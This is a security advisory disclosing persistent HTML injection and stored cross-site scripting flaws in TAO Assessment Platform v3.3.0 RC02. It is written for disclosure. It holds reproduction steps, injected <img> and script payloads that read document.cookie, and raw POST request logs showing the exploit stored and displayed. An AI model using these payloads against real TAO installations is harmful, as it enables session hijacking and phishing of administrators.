TAO Open Source Assessment Platform 3.3.0 RC02 - HTML Injection

2020-04-18
ID: 102854
CVE: None
Download vulnerable application: None
# Title: 
# Author: Vulnerability Laboratory
# Date: 2020-04-15
# Vendor: https://www.taotesting.com
# Software Link: https://www.taotesting.com/product/
# CVE: N/A

Document Title:
===============
TAO Open Source Assessment Platform v3.3.0 RC02 - Multiple Web
Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2215


Release Date:
=============
2020-04-16


Vulnerability Laboratory ID (VL-ID):
====================================
2215


Common Vulnerability Scoring System:
====================================
4


Vulnerability Class:
====================
Multiple


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Accelerating innovation in digital assessment. The TAO assessment
platform gives you the freedom, control, and
support to evolve with today's learners. For organizations who want the
freedom to control their assessment
software – from authoring to delivery to reporting.

(Copy of the Homepage: https://www.taotesting.com/product/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple
cross site vulnerabilities in the TAO Open Source Assessment Platform
v3.3.0 RC02.


Affected Product(s):
====================
Product: TAO Open Source Assessment Platform v3.3.0 RC02


Vulnerability Disclosure Timeline:
==================================
2020-04-16: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted authentication (user/moderator) - User privileges


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
1.1
A html injection web vulnerability has been discovered in the TAO Open
Source Assessment Platform v3.3.0 RC02 web-application.
The vulnerability allows remote attackers to inject own malicious html
codes with persistent attack vector to compromise browser
to web-application requests from the application-side.

The html inject web vulnerability is located in the `userFirstName`,
`userLastName`, `userMail`, `password2`, and `password3`
parameters of the user account input field. The request method to inject
is POST and the attack vector is application-side.
Remote attackers are able to inject html code for the user account
credentials to provoke an execution within the main manage
user listing.

Successful exploitation of the web vulnerability results in persistent
phishing attacks, persistent external redirects to malicious
source and persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Manage Users

Vulnerable Parameter(s):
[+] userFirstName
[+] userLastName
[+] userMail
[+] password2
[+] password3



1.2
Multiple persistent cross site web vulnerabilities has been discovered
in the TAO Open Source Assessment Platform v3.3.0 RC02.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise browser to
web-application requests from the application-side.

The persistent vulnerability is located in the content parameter of the
Rubric Block (Add) module. Attackers are able to inject own malicious
script code inside of the rubric name value. The attached values will be
redisplayed in the frontend of tao. The request method to inject is
POST and the attack vector is located on the application-side. The
injection point is the Rubric Block (Add) module and the execution occurs
in the frontend panel when listing the item attribute.

Successful exploitation of the web vulnerability results in session
hijacking, persistent phishing attacks, persistent external redirects
to malicious source and persistent manipulation of affected or connected
application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Rubric Block (Add)

Vulnerable Parameter(s):
[+] content


Proof of Concept (PoC):
=======================
1.1
The persistent html injection web vulnerability can be exploited by
remote attackers with privileged user account and low user interaction.
For security demonstration or to reproduce the security web
vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Install the application and open the ui
2. Move on top right to the user button and click manage users
3. Inject html script code payload into the vulnerable input fields
4. Save the entry
5. Open to the manage users listing
Note: The payloads executes in the table that shows the user account
values for admins
6. Successful reproduce of the html inject vulnerability!


PoC: Vulnerable Source (Manage Users)
<th class="actions">Actions</th>
</tr></thead>
<tbody>
<tr data-item-identifier="http_2_localhost_1_tao_0_rdf_3_i1586957152301539">
<td class="login"><img
src="https://www.evolution-sec.com/evosec-logo.png"></td>
<td class="firstname"><img
src="https://www.evolution-sec.com/evosec-logo.png"></td>
<td class="lastname"><img
src="https://www.evolution-sec.com/evosec-logo.png"></td>
<td class="email"><img
src="https://www.evolution-sec.com/evosec-logo.png"></td>
<td class="roles">Test Taker</td>
<td class="guiLg">German</td>
<td class="status"><span class="icon-result-ok"></span> enabled</td>


--- PoC Session Logs (POST) ---
http://localhost:89/tao/Users/edit
Host: localhost:89
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0)
Gecko/20100101 Firefox/74.0
Accept: text/html, */*; q=0.01
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1393
Origin: http://localhost:89
Connection: keep-alive
Referer:
http://localhost:89/tao/Main/index?structure=users&ext=tao&section=edit_user
Cookie: tao_GP8CPowQ=d6et7oifjip9jnkbc7pgeotsdj;
tao_0855799=e0a3289004cc96a4ffba7bdcb8515d3665ccd004
user_form_sent=1&tao.forms.instance=1&token=e0a3289004cc96a4ffba7bdcb8515d3665ccd004&http_2_www_0_w3_0_org_1_2000_1_01_1_
rdf-schema_3_label=<img
src="https://www.evolution-sec.com/evosec-logo.png">&id= rel="nofollow" href="http://localhost/tao.rdf#i1586957152301539" target="_blank">http://localhost/tao.rdf#i1586957152301539
&http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userFirstName=<img
src="https://www.evolution-sec.com/evosec-logo.png">
&http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userLastName=<img
src="https://www.evolution-sec.com/evosec-logo.png">
&http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userMail=<img
src="https://www.evolution-sec.com/evosec-logo.png">&http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userUILg=http_2_www_0_tao_0_lu_1_Ontologies_1_TAO_0_rdf_3_Langca&
http_2_www_0_tao_0_lu_1_Ontologies_1_generis_0_rdf_3_userRoles_9=http_2_www_0_tao_0_lu_1_Ontologies_1_TAO_0_rdf_3_DeliveryRole&
classUri=http_2_www_0_tao_0_lu_1_Ontologies_1_TAOSubject_0_rdf_3_Subject&uri=http_2_localhost_1_tao_0_rdf_3_i1586957152301539
&password2=<img src="https://www.evolution-sec.com/evosec-logo.png">
&password3=<img src="https://www.evolution-sec.com/evosec-logo.png">
-
POST: HTTP/1.1 200 OK
Server: Apache/2.4.38 (Win32) PHP/7.2.15
X-Powered-By: PHP/7.2.15
Set-Cookie: tao_0855799=a4dd4f04e0f27648dcd6ee3e966cdb380d511079; path=/
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


Reference(s):
http://localhost:89/tao/Users/edit
http://localhost:89/tao/Main/index



1.2
The persistent cross site scripting web vulnerability can be exploited
by remote attackers with privileged user account with low user interaction.
For security demonstration or to reproduce the cross site scripting web
vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Open and login to the tao application
2. Move into the test module on top
3. Add new Rubric Block
4. Inject script code test payload into the text label content input field
5. Save the entry and move on the right site to activate
6. The click on activate includes and executes the content immediatly
7. Succesful reproduce of the cross site scripting vulnerability!


PoC: Vulnerable Source
<div class="rubricblock-content"><div>asd>"><span
data-serial="img_l9lmylhuv8hf55xo9z264n"
class="widget-box widget-inline widget-img" data-qti-class="img"
contenteditable="false">
<img data-serial="img_l9lmylhuv8hf55xo9z264n" data-qti-class="img"
src="" alt="" style=""
width="100%"></span> <img data-serial="img_rxephz0lwthtejgsndo2f3"
data-qti-class="img" src="evil.source" alt="" style="">&nbsp;
>"<script>alert(document.cookie)></script></div></iframe></div></div>
</li></ol>


PoC: Payload
"<script>alert(document.cookie)></script>


--- PoC Session Logs [POST] ---
http://localhost:89/taoQtiTest/Creator/saveTest?uri=http%3A%2F%2Flocalhost%2Ftao.rdf%23i1586971961942612
Host: localhost:89
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 9664
Origin: http://localhost:89
Connection: keep-alive
Referer:
http://localhost:89/tao/Main/index?structure=tests&ext=taoTests&section=authoring
Cookie: tao_X3GLb7Ke=i89lfik72ts13i8soadgfb64hb;
tao_f46245c=9ebdee0d0f34b349a61ba23443ecc950c43a0042
model={"qti-type":"assessmentTest","identifier":"Test-1","title":"QTI
Example Test","toolName":"tao","toolVersion":"2.7","outcomeDeclarations":[],
"timeLimits":{"qti-type":"timeLimits","maxTime":7810,"allowLateSubmission":false},"testParts":[{"qti-type":"testPart","identifier":"Introduction","navigationMode":1,"submissionMode":0,"preConditions":[],"branchRules":[],
"itemSessionControl":{"qti-type":"itemSessionControl","maxAttempts":0,"showFeedback":false,"allowReview":true,"showSolution":false,"allowComment":false,
"validateResponses":false,"allowSkipping":true},"assessmentSections":[{"qti-type":"assessmentSection","title":"Section
1","visible":true,
"keepTogether":true,"sectionParts":[{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971963337314","categories":[],
"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-1","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":0,
"itemSessionControl"{"qtitype":"itemSessionControl","maxAttempts":1,"showFeedback":false,"allowReview":true,"showSolution":false,"allowComment":true,
"validateResponses":false,"allowSkipping":true},"isLinear":false}],"identifier":"assessmentSection-1","required":true,"fixed":false,"preConditions":[],"branchRules":[],
"itemSessionControl":{"qti-type":"itemSessionControl","maxAttempts":1,"showFeedback":false,"allowReview":true,"showSolution":false,"allowComment":true,"validateResponses":
false,"allowSkipping":true},"index":0}],"testFeedbacks":[],"index":0},{"qti-type":"testPart","identifier":"QTIExamples","navigationMode":0,"submissionMode":0,"preConditions":[],"branchRules":[],"assessmentSections":[{"qti-type":"assessmentSection","title":"Section
1","visible":false,"keepTogether":true,"sectionParts":[{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971964187315","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-2","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":0,"itemSessionControl":{"qti-type":"itemSessionControl","maxAttempts":1,"showFeedback":false,"allowComment":false,"allowSkipping":true,"validateResponses":false},"isLinear":true,
"timeLimits":{"maxTime":0,"minTime":0,"allowLateSubmission":false,"qti-type":"timeLimits"}},{"qti-type":"assessmentItemRef",
"href":"http://localhost/tao.rdf#i1586971965925016","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-3","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":1,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true},
{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i158697196662817","categories":[],"variableMappings":[],"weights":[],
"templateDefaults":[],"identifier":"item-4","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":2,"itemSessionControl
":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971967539318","categories"
:[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-5","required":false,"fixed":false,"preConditions":[],"branchRules":[],
"index":3,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href":
"http://localhost/tao.rdf#i1586971968508019","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-6",
"required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":4,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971969922220","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":
"item-7","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":5,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i158697197087021","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-8","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":6,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971970668622","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":
"item-9","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":7,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true}],"identifier":"assessmentSection-2","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":0,
"itemSessionControl":{"qti-type":"itemSessionControl"},"rubricBlocks":[{"qti-type":"rubricBlock","index":0,"content":[{"qti-type":"div","id":"","class":"","xmlBase":"","lang":"","label":"","content":[{"qti-type":"textRun","content":"asd>"<script>alert(document.cookie)></script>",
"xmlBase":""}]}],"views":["candidate"],"orderIndex":1,"uid":"rb1","feedback":{"activated":false,"outcome":null,"matchValue":null,"qti-type":"feedback"},
"class":""}]}],"testFeedbacks":[],"index":1}],"testFeedbacks":[],"scoring":{"modes":{"none":{"key":"none","label":"None","description":"No
outcome processing.
Erase the existing rules, if
any.","qti-type":"none"},"custom":{"key":"custom","label":"Custom","description":"bufu","qti-type":"cut"},"qti-type":"modes"},"scoreIdentifier":"SCORE","weightIdentifier":"","cutScore":0.5,"categoryScore":false,"outcomeProcessing":"none","qti-type":"scoring"}}
-
POST: HTTP/1.1 200 OK
Server: Apache/2.4.38 (Win32) PHP/7.2.15
X-Powered-By: PHP/7.2.15
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Security-Policy: frame-ancestors 'self'
Content-Length: 14
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json; charset=UTF-8
-
http://localhost:89/tao/Main/evil.source
Host: localhost:89
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer:
http://localhost:89/tao/Main/index?structure=tests&ext=taoTests&section=authoring
Cookie: tao_X3GLb7Ke=i89lfik72ts13i8soadgfb64hb;
tao_f46245c=9ebdee0d0f34b349a61ba23443ecc950c43a0042
-
GET: HTTP/1.1 200 OK
Server: Apache/2.4.38 (Win32) PHP/7.2.15
X-Powered-By: PHP/7.2.15
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 169
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8


Security Risk:
==============
1.1
The security risk of the html inject web vulnerability in the
web-application is estimated as medium.

1.2
The security risk of the persistent cross site scripting web
vulnerability in the web-application is estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


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